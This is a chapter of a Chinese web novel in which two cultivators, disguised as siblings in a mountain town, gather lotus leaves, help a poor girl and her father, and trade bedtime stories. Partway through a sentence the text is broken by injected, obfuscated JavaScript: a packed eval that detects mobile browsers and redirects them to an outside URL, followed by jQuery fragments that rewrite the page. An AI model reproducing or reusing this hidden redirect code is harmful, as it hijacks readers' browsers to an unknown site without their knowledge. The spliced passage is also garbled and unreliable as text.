31. 夜泊船(十三)

作品:《如何促进男主黑化

    翻过湘岭镇的山头,少女坐在船头,望着阴沉的天色,伸手指着层云。


    “天都暗下来了,等下肯定要下雨,咱们快些摘完回去吧!”


    水上烟波浩渺,青山绿水绕着开阔的平地,天地间俱是苍翠绿意。小舟在池中仿若孤叶,平稳着向前划去,留下荡漾的一线涟漪。


    在少女身侧,一位黄衫的少年郎撑着船桨,神色平静。少女匆忙起身的动作掀动了船身,令整只船微微摇动起来,涟漪顿时乱了。


    少年将船桨收起来,脸上的平静随着涟漪一齐乱了,张大了眼睛,连忙牵住了少女的手:“慢点,摔下去了我可不捞你。”


    那掌心的温热着实令人安心,温铃抬头朝他笑,“嗯”了一声,就将袖子挽到了肘弯处。


    她现下穿着与丁香色的粗布衣衫,头系布巾,衣角与领口已沾染不少油污和尘土,显得沉闷笨重。这本是寻常山间人家的打扮,但她到底爱美,还在发髻上别了束藤萝,留了一分灵动。


    比这山川更开阔的,是九天之上的琼宇,此刻早被暗云遮住,只有丝缕般的天光在云层缝隙间游走。温铃猜的不错,这地界果然很快滴下了雨水,打在两人衣衫上,晕开斑斑点点的深色,池中落珠声不断,远处草木也被洗得鲜绿。


    哗啦,哗啦,二人耳边唯余这响声。


    温铃倾身去够池中的荷叶,又怕刺伤了手,用身侧摆着的镰刀将茎割下来,扔到了船板上,被雨露洗净过的荷叶轻摇着,被风雨吹拂。


    看着她生涩的举止,展凌舟抬手将斗笠叩到她头上:“人家采莲都是采莲藕和莲子,你倒好,就采个荷叶,这玩意儿能有什么用。”


    雨水顺着少年的发丝在脖颈上流动,滑进了他的衣衫下,他睫毛上也挂着水珠,本就乌黑的头发被拧成了浓墨。展凌舟用手背擦着脸,在成串的水声中,他忽然听到温铃畅快地笑着。


    “别这么说,荷叶煮的粥可好吃了,你还没吃过吧?”她回过头来,眸中闪着光亮。


    展凌舟盯了片刻,别过头,蹲下身子拾起了一片荷叶,在手中摆弄起来:“……我吃过的珍馐百味多了,这有什么好稀罕的。”


    温铃撇嘴,转过身继续割起了荷叶:“怎么不稀罕了?好歹是我做的,给点面子成不成?”


    展凌舟随手将荷叶扔回了船板,伸着腿靠在草蓬边上:“就因为是你做的,所以更不值价了。”


    见他说话毫无退让之意,温铃只好闭上嘴,继续割起荷叶来。


    两人到此地已有数十日,开始习惯了此地的生活。来之前,温铃以为这湘岭镇和云谷镇都是镇子,应该相差不远,结果却与她想的大不相同。


    这湘岭镇位置坐落在山间,往来不便,镇民男耕女织,莫说像云谷镇开医馆药庄,还大办灯会了,生活拮据到只能勉强糊口而已。


    但若说相比云谷镇有什么优点,大抵就是这碧水映群峰的景致了。听展凌舟说,此地是九越闻名的险地,险则险矣,景色却也天下闻名,即便是高居仙山福地的修仙弟子,也难免有一睹湘岭真容之心。


    如此说来,倒也是让她趁着此行开了眼界。


    为了不让二人打草惊蛇,月山派早找民间工匠,替她与展凌舟在镇子边上搭好了屋子。他们到镇子后,装作丧亲迁居的姐弟,抹掉了姓氏,只说叫阿铃与凌舟。


    那传闻中的湖泊名为一梦湖,并不挨着镇子,实则在另一座山上。为了避免泄露身份,两人每日要跋山涉水几里路,谎称去湖中打渔,好在附近探查阵眼。


    大抵是平晖道藏得极深,二人寻找多日,湖边每一寸土地都搜寻过,仍没能查找到阵眼所在。想来那阵眼并不在一梦湖周围,两人干脆长住下来,在几座山间慢慢探查。


    一连几日无果,今日两人决心闲下来,温铃突然起了想吃荷叶粥的念头,想起隔山有这么一处池塘,索性拉着展凌舟来割荷叶。


    此刻的雨将两人的衣衫都染湿了,水珠从温铃鼻梁划过,又垂落到船板上。


    她一边割着荷叶,忽的想起什么,吟道:“采莲南塘秋,莲花过人头。低头弄莲子,莲子清如水。置莲怀袖中,莲心彻底红。”


    声音在池上悠远回荡,触到那边的山头,又折返而归,引得展凌舟莫名地瞧了她一眼。


    “你说的这是什么,采莲诗么?”


    温铃继续扶着荷叶割下根茎:“这是我从前听来的句子,也不全是说采莲的,而且这一句也并不出名。出名的那句呢,叫‘南风知我意,吹梦到西洲。’”


    展凌舟蹙起眉头,看着她的背影:“这句我也没听过,出名在哪儿?”


    这是《西洲曲》,毕竟是书外世界的诗句,他当然没听过了。温铃想,真要同他细细解释,好像也麻烦得很,总不能也用家乡那套来搪塞他。


    她轻咳一声:“你话太多了,就是几个句子而已嘛,听听就好了。”


    展凌舟揣着手,不悦道:“既然念都念了,就少糊弄我,这几句讲的是什么?”


    温铃采够了最后一片荷叶,转过身来将荷叶堆好,也不急着解释。展凌舟见她动作,看雨势越来越大,也重新站起身来,拿起船桨,开始往岸边划。


    温铃堆好了荷叶,才抬头看他,幽幽道:“这首诗讲的是一个姑娘思念心上人,每日做什么都想着,采莲的时候也想。可是等啊等,还是等不到心上人回来的意思。”


    展凌舟站在船沿瞥了她一眼。好端端的,怎么突然提起思念心上人来了,难道她吟这首诗,是想起她那个师兄了?


    自下山分开也不过……不过数十日而已,况且霍知风走前也没说舍不得她,她这么死乞白赖地念着,倒不嫌害臊。


    展凌舟收回视线,心里很是不自在:“写得不怎么样,别念了。”


    这可是千古名篇,到他嘴里怎么成写得不怎么样了?温铃顿觉展凌舟这个人没有什么欣赏水准,也闭上双唇,不和他说话了。


    船靠到岸边,展凌舟先从船上跳了下去,温铃抱着荷叶走得小心,少年将她从船头拉了下来,强硬地分走了一半荷叶。


    以河山为幕,二人走过了低矮的石桥,绿草上水珠成串滚落,雨声稀碎而绵密。


    沿着碎石铺就的小道,走了有半个时辰,终于回到了镇上。雨已经下了许久,镇民将平日在外晾晒的谷物收起来,各家都闭户休息,只有个别几户还敞着门,约莫是想给屋内通风。


    二人走着,路过一户人家,门前的小女孩本穿着一双露趾的鞋,踩着泥水走来走去。女孩抬头见温铃与展凌舟正从远处走来,立刻停下了脚步,挥舞着双臂道:“阿铃姐姐!”


    这女孩垂着髫发,身穿破布衣衫,看起来干黄饥瘦,唯独一双眼睛却大如鹿眸,眨起来更是惹人怜惜。


    温铃快步走近,到女孩跟前蹲下身来,轻轻扶住她的肩,轻声道:“小柳,都下雨了,你怎么不回屋里去?要是染病了该怎么办?”


    小柳左右摆动着身子,手指放在唇边,小声道:“我身子好,不会像娘那样染病的……”


    温铃心头一软,替小柳搭理好碎发,暗自叹息起来:“知道小柳身子好,可就怕万一,是不是?”


    这女孩家里一如镇上其他人家那样困顿,她娘亲前些年患病早逝,留下了年幼的小柳。家中没有其他孩子,只有一个木讷的爹,在兄弟中行三,镇民都他唤作云三哥。


    自她娘亲去世后,父女二人的日子虽照旧在过,但终究是更不容易了。


    展凌舟看她温言细语哄着小柳,没好气道:“这小丫头贪玩,肯定是不听她爹的话,又自个儿跑出来捣蛋了。要我说,她爹真该好好罚她一回。”


    小柳心中不服气,瞪着展凌舟:“我最听我爹的话了,小船哥你胡说八道!”


    展凌舟听到这称呼就像被踩了尾巴,浑身一震,俯下身来,死死和小柳对视着:“说了多少回,不许叫小船哥!是凌舟哥,听清楚没有?”


    小柳缩回了头,嘟囔道:“我爹说了,舟就是船的意思,而且你成天去一梦湖撑船,明明就该叫小船哥……”


    温铃听小柳说得头头是道,忍不住低着头,漏出了一声轻笑。展凌舟听到她的笑声,回过头来,盯视起她来,眼神中满是警告之意。


    她连忙躲开了他的视线,抚摸着小柳的头,叮嘱道:“我弟弟不喜欢别人给他乱起外号,以后小柳当着他的面就别叫这个了,老老实实叫凌舟哥,好不好?”


    小柳思索一番,认真道:“我知道了,他跟阿铃姐姐不一样。我偷听学堂先生教书,他说这种人都叫‘小肚鸡肠’,那我听阿铃姐姐的,以后都背着他叫。”


    温铃不禁失笑,肩膀微微颤抖起来,觉得这小柳真是伶牙俐齿,她都不知道该说些什么好了。


    刚才的话也被展凌舟一字不落地听到了耳朵里。


    他额上青筋直冒,抱着荷叶的手也收紧了些:“你这小丫头,再胡说八道,小心我让你爹来收拾你。”


    小柳不肯罢休,吐了下舌头,大声道:“我爹才不会收拾我呢,而且是你欺负我,该我让阿铃姐姐收拾你!”


    女孩的声音着实不小,终于惊动了屋里的云三哥。


    男人连忙撑着伞,从昏暗的屋内走了出来。到几人跟前后,云三哥连忙将小柳遮在伞下,用衣袖擦去她脸上的雨水。


    云三哥面目憔悴,一副愁眉不展的样子,身上衣衫也散乱,发丝未束好,垂了几缕在额上,显见是刚睡醒。


    他苦笑道:“是阿铃和凌舟啊,小柳刚才是怎么了?”


    温铃摇头:“没什么,凌舟跟她开玩笑呢。倒是云三哥,都下雨了,怎么让小柳一个人在外面呢?”


    展凌舟轻哼,心道他可不是开玩笑,但嘴上却不说话。


    云三哥叹气道:“是我不好,这些日子太累了,刚才不知不觉间睡了过去,没能看住小柳。”


    男人说话间,手中的伞一斜,雨水却顺着伞面全倾泻到了展凌舟头上。展凌舟连忙后退了一步,额上的青筋更突出了,带着恼意抹了一把,将脸上的水甩了下来。


    云三哥注意到他的动作,连声道歉:“对、对不住……凌舟,你没事吧?”


    他说完抬手扯着袖子,要像帮小柳那样,也替展凌舟擦净,被后者侧身躲开了。


    “行了,你那袖子越擦越脏,我自己来。”


    云三哥一听,就红着脸将手收回来,查看自己的袖子,发觉果真满是烟尘泥土,歉意地低下了头。


    果真性情木讷,温铃敛眸思索起来,这样的父亲,也不知往后能不能护好小柳,令人担忧不已。


    但这一家人的遭遇已是不幸,云三哥也不过二十出头的年纪,世上不是人人都如霍知风那样,年纪轻轻行事就足够缜密,换作温铃自己还未必能比云三哥做得更好,她也难以出声责怪。


    她想了想,从怀中的荷叶里抽了两支出来,放到云三哥手上,柔声道:“这荷叶是我们刚割回来的,云三哥若是不嫌弃,就拿去给小柳做些什么吃吧。”


    云三哥握住荷叶,手僵了片刻,才点头道:“好,多谢阿铃你们了……小柳,快道谢。”


    小柳笑意灿烂,拉起温铃的手:“多谢阿铃姐姐!”说完,她朝着展凌舟,用手指在脸上刮了几下,做着羞羞脸的动作,又仰着鼻子别过了头。


    展凌舟气得直想笑,拽着温铃的手臂,就开始顺小路往回走:“送也送了,现在总可以回家去了吧?”


    温铃被他拽得走不稳,只能对小柳和云三哥轻声道别,再快步跟到他身边。她重新打理起怀中乱掉的荷叶,回头看父女俩进了屋,仍是放心不下小柳一家的模样。


    展凌舟用余光瞧她,冷声道:“你还真当自己是救苦救难的菩萨了,天底下比他们过得惨淡的人家多了,你帮得过来么?”


    真不知他在生什么气。


    温铃停下了打理的手,低声道:“我看不到的那些是没有办法……但眼前能见到的,就帮一点算一点吧。”


    展凌舟直直盯着前方,烦闷道:“你闲心还真多。”


    说罢,他就不理会温铃,快步往屋里去了。


    雨仍在下,打在荷叶上滴答作响。


    温铃最后看了一眼小柳家的屋子,就往前追去。


    *


    两人顶着一身雨水进了屋,展凌舟吵着要沐浴更衣,就进后屋捡了囤积的干柴生火。


    温铃张望着,心想家徒四壁也不过如此了。除了几件木制家具和两张床榻,屋里黑压压一片,墙角还在渗水。


    除了这间,也只有厨房和囤柴的后屋,在加上一个竹片围成的院落而已。


    展凌舟在后屋勉强选了一捆干柴,奈何下雨潮气重,火怎么也生不起来。他忍不住动了法咒,手中掐起法诀,两指虚虚绕了一圈,终于在柴上燃起火星。


    不久后总算烧好水,他灭了火势,便躺进木桶洗浴去了。


    温铃一人在前屋待着,衣衫单薄,经微风一吹就冷到发颤,但展凌舟是个喜爱干净的人,向来只有等这少年洗完她才能去。


    无奈之下,她干脆先到后厨将荷叶洗净,在灶上架锅。幸而厨房比后屋修筑得好些,屋顶没有漏雨,堆着的柴火都还能用,她轻松生起了火。


    待到煮好了米粥,到停火前,温铃将荷叶往里放,一小会儿就煮出了香气,她又把荷叶从粥中捞了出来,这就算煮好了。


    温铃小心地用勺盛了一碗,将朦胧的热气吹开,抿唇尝了一口,荷叶粥的清香立刻在口中蔓延。加之粥的温热顿时驱开了寒意,她不禁眯起双眼,又吹着气,忍烫喝了两口。


    还在现代世界时,温铃就是个贪嘴的人,这毛病到了书中世界似乎也改不掉,一有机会她就想弄些好吃的往嘴里塞,今日算又得逞一次。


    可是这世上烦心事太多,能有口好吃的,总算也不太遭。


    她将盛粥的碗端到了前屋桌子上,一放下碗,就将烫红的指尖捏住冰凉的耳垂,缓了片刻,开始坐在椅子上吃起来。


    展凌舟此时也沐浴完,从后屋走出来。少年还在用布巾擦着颈上的水珠,肌肤被水气蒸腾地泛红,见她已经吃上了,也不多作客气,直接从她手上把还未吃净的碗夺过来。


    “这就是你吵吵嚷嚷了大半天,一定要吃上的粥?”他狐疑地盯着碗里平平无奇的荷叶粥,谨慎地喝了一口,“味道倒是还行,算你有一手。”


    温铃有些不好意思,其实这荷叶粥的做法很简单,只要会煮粥就能做。若是展凌舟像先前那样笑话她,她还能回驳几句,这样坦诚地夸赞,她反而不知要不要接话了。


    她站起身来,拍了拍衣衫上的灶灰:“你想吃的话,后厨锅里还有很多,再去盛就是了。我也去后屋洗一洗……”


    温铃说完就轻巧地钻进了后屋,紧紧合上了门。


    这些日子二人已立好了规矩,为了不被镇民发觉身份,要尽可能少用仙法,平日里都像寻常人一样洗衣做饭,从简而行。


    修仙弟子不必像没有修为的凡人一样日日进谷,但为了不引村人怀疑,还是需得装出开灶的样子。既要升炊烟,温铃一来二去觉得与其浪费柴火,倒不如真做些吃的来填肚子。


    起初她还与展凌舟轮换着做饭,可后者总是将饭菜烧糊,忍无可忍之下,温铃只得把厨房的活计给包揽下来,将他赶去劈柴生火。


    她以为展凌舟是个少爷脾气,只怕连这也做不好,但展凌舟拿着斧头对木柴琢磨了一天,竟劈出了能用的小段,往后几天也手熟起来。温铃甚至为此愧疚了一阵子,觉得自己将展凌舟想得太过不堪了。


    展凌舟似乎就是这样一个人,将他想得太好,他就绝不可能有那么好。可若将他想得差一点,他反倒没有那么差劲了。


    进后屋后,温铃意外之下发现水竟已被换过了,不需再重新烧一桶。这换水的人自然是展凌舟,她心头竟有些感动,看来展凌舟这个便宜弟弟也装得越来越上道了。


    温铃躺进木桶里,将身上每一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244043|196060||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    寸都洗了个遍。在这山间,洗浴得勤了也是要惹人怀疑的,每日打水烧火也费事,只能在偶尔洗浴时洗得用心些。


    可惜天凉,水很快就褪去了温热,她没能多享受一会儿。


    沐浴更衣后,温铃撑了个懒腰走出后屋,却见展凌舟早已喝完粥,正躺在榻上点着油灯看话本。


    窗外风雨依旧,少年随手翻了一页,目光则停在窗上,心思显然不在话本上。见她出来了,展凌舟将话本合起来,语气不快:“总算出来了,洗得可够久啊,阿姊。”


    这一声叫得温铃起了鸡皮疙瘩,她连忙拢着衣襟,爬到自己的榻上去。


    为了不显眼,月山派将屋子修得简陋,并没给二人单独修筑房间,两张床榻并行而置。装作姐弟是一回事,但实际并非姐弟又是另一回事,床榻临近,始终有太多不方便之处。


    所幸这些时日温铃习惯不少,知道该如何行事,立刻钻进被子里将自己裹起来。


    她围着被子滚了几圈,才探出头看展凌舟:“你今日帮我烧水了?”


    展凌舟眼神飘忽,翻身朝向另一侧:“反正都要洗,又不是什么要紧事。”


    不是什么要紧事么,但总归是有这么一件事吧?


    温铃勾唇瞧着展凌舟的背影,看他脊背僵直,显见是在遮掩情绪。她觉得此人说话从不客气,却也仍有几分少年人的青涩。


    在温铃正想开口之际,地上的口袋猛地跳动了几下,像有东西要从中冲出,袋中随后发了吵闹声。


    “蠢丫头,小白脸,已经够晚了,可以把大爷放出来了吧!”


    是五寿的声音。


    温铃现在知道了,那口袋名为七仙灵宝袋,其间有一方灵力搭成的天地,足可容纳一间屋子大小的行李。五寿也许是怕被展凌舟赶走,白日里听话地在袋中待着,到夜里才从袋中出来透气。


    展凌舟皱着眉头下了床,抬手将袋口掀了起来。抬起来的一刻,五寿急冲冲地飞了出来,扑腾着站到了油灯边上,啄起自己的羽翅。


    灯火晃了几下,映在窗上影影绰绰。


    温铃竖起一只手指压在唇上,提醒道:“五寿,你小声点,要是被其他人发现了,说不准真的会被吃掉。”


    五寿本还想咕咕再叫两声,听完浑身一僵,生生把叫声咽了下去,点了头。见它乖顺,温铃撑起身子,将它捧到自己床头,揉弄着它头顶的羽毛。


    鹦哥依偎在她枕边,很快眯着眼睛犯了困,口鼻中发出咕噜声,要打起呼噜。展凌舟眼疾手快,抬手一动,灵力在掌心回旋,就将它的声音消去。


    被五寿一通闹,刚才的话题也被打断了。


    展凌舟对此倒很满意,躺回床上,将头枕在自己手臂上,仰望着茅草棚。


    他好似不经意地开了口:“你今夜还讲那些话本里的故事么?”


    温铃明白他的意思。


    这些日子夜晚无聊,二人无事可做,她时常把自己在原本世界看过的故事,假称是话本讲给展凌舟听。


    展凌舟本就看不下去他买来的那几册《仙门世子平乱传》,只在最初几天装作不爱听,往后就总旁敲侧击着,让她继续讲下去。


    “唔……”温铃因为沐浴生了困意,眼皮发沉,勉强抬头来看他,“这几日都讲了哪些来着?”


    展凌舟伸出手,一只手点着另一只手的骨节道:“先是两个大户人家互不相容,结果家里的儿子和女儿一见钟情,最后都死了的。”


    “然后是一个女的梦里爱上情郎,郁郁而终,后来魂魄和情郎相会,回魂还阳的。”


    “还有一个男的躲进古墓里,结果拜了师,爱上自己师父,等了十六年的。”


    温铃听着,声音微弱道:“才三个?”


    展凌舟沉默着,点了点自己的指节,又道:“还有一个女的,女扮男装当了官,却被皇帝发现,要她入宫当妃子的。”


    “还有一个……一个,对,昨夜讲了个男人武功奇特,用手指接兵刃百接百中的,你说里头有个穿白衣服的,叫西门……西门……”


    “西门吹雪。”她翻了下身子,笑着看他。


    展凌舟无奈道:“这写话本的也真够怪的,给人起这种名字。”


    温铃浑浑噩噩地想,因为这名字本就不是古代人起的,奇怪些也难免,除了西门吹雪,还有叫中原一点红的呢。


    她喃喃道:“说起来……我师兄也穿一身白,就很像这个西门吹雪呢。”


    展凌舟暼了她一眼:“穿身白的就像了?满大街都是穿白衣的,改日我换一身,难不成也像了?”


    温铃趴在床上,小声道:“不是那个意思,我是说……总觉得我师兄也像他一样,冷冰冰的,什么都不关心,什么都不在乎。但想想又还是不一样的,我师兄不是真的醉心修行,他就只是嘴硬不肯承认……”


    展凌舟打断她:“你到底讲不讲?我可不想听你师兄那些事。”


    温铃有些失落,垂下眼眸,正要回想昨夜讲到哪里。


    忽然,展凌舟侧过身子直直盯着她:“……喂,你觉得,我像你那些话本里的谁?”


    展凌舟么,展凌舟像谁呢?


    温铃说不出来,她抬头与展凌舟对视,只见少年咬着牙,双唇微颤,好像他自己也将这问题说得很勉强。


    故事里能让人记住的角色,大都是主要角色,而她看了《凤临仙》过后,甚至没能记住展凌舟这个名字,她倒现在也不能确定原书里到底有没有这么一号人。


    至于旁的书里像他的人,应该活不过三章吧……


    展凌舟见她迟疑,攥紧了手:“一个都没有?”


    温铃尬笑两声,眼皮又沉了些:“有的,但是我记性不好,忘记名字了。”


    展凌舟听她语气有疑,咄咄逼人起来:“你在骗我,是不是?”


    温铃被他这话吓了一跳,霎时清醒起来,忙摆手道:“没有,我是真的不记得了。”


    展凌舟冷笑:“那你说说,书中是怎么写的。”


    “嗯……他呢,是个世家公子哥……手摇折扇一身锦袍,上能杀龙下能擒蛟,是个好相貌的英雄儿郎呢!”温铃学着那些书里的话编起来,把自己能想到的说法全用上,仿佛真有那么回事。


    展凌舟听她语气似说书人一般,渐渐放下了恼意,难不成还真有这么个角色?这听起来倒是不错,不过她心里,自己果真像是这副模样么?


    温铃见他眉头渐舒,继续道:“我看话本的时候可喜欢这个角色了,可惜他名字太复杂,我实在记不住。”


    展凌舟躺到床上,想了一会儿:“你真的喜欢?比那个西门什么的还喜欢?”


    她连声道:“自然喜欢,比喜欢西门吹雪还要喜欢。”


    窗外的雨仍在下,良久,展凌舟背过身去:“今夜不用讲了,我不想听那个西门的故事。”


    温铃提醒道:“但西门吹雪不是主角……”


    展凌舟不耐道:“那也不想听。你仔细想想,明日讲那个世家公子的故事。”


    ……根本就没有这号人啊,那岂不是硬编么?温铃僵住了,不知所措地想起拒绝的借口来,只觉怎么说都解释不清。


    “凌舟,那个……”


    展凌舟合上了眼:“不是杀龙擒蛟么?就讲这两个。”


    “哦,哦。”她咬着唇,钻回了被子里。


    过了好些日子,他分明神情柔和了不少,怎么还是这么会为难人。


    若是换了师兄,定不会幼稚地非要她把故事讲出来……嗯,师兄说不准连听也不想听呢。


    霍知风在山上会不会想起她呢?无论师兄有没有想,她现在的确总是在想师兄的。


    温铃觉得自己像离了巢的雏鸟,不但一直想着回那个巢里,还得看顾着一只比自己还小的同伴。


    她当真就那么离不开霍知风么,过去她从未如此依赖过谁啊?


    温铃疑惑着,眼皮又沉了起来,渐渐合上眼,沉入了梦中。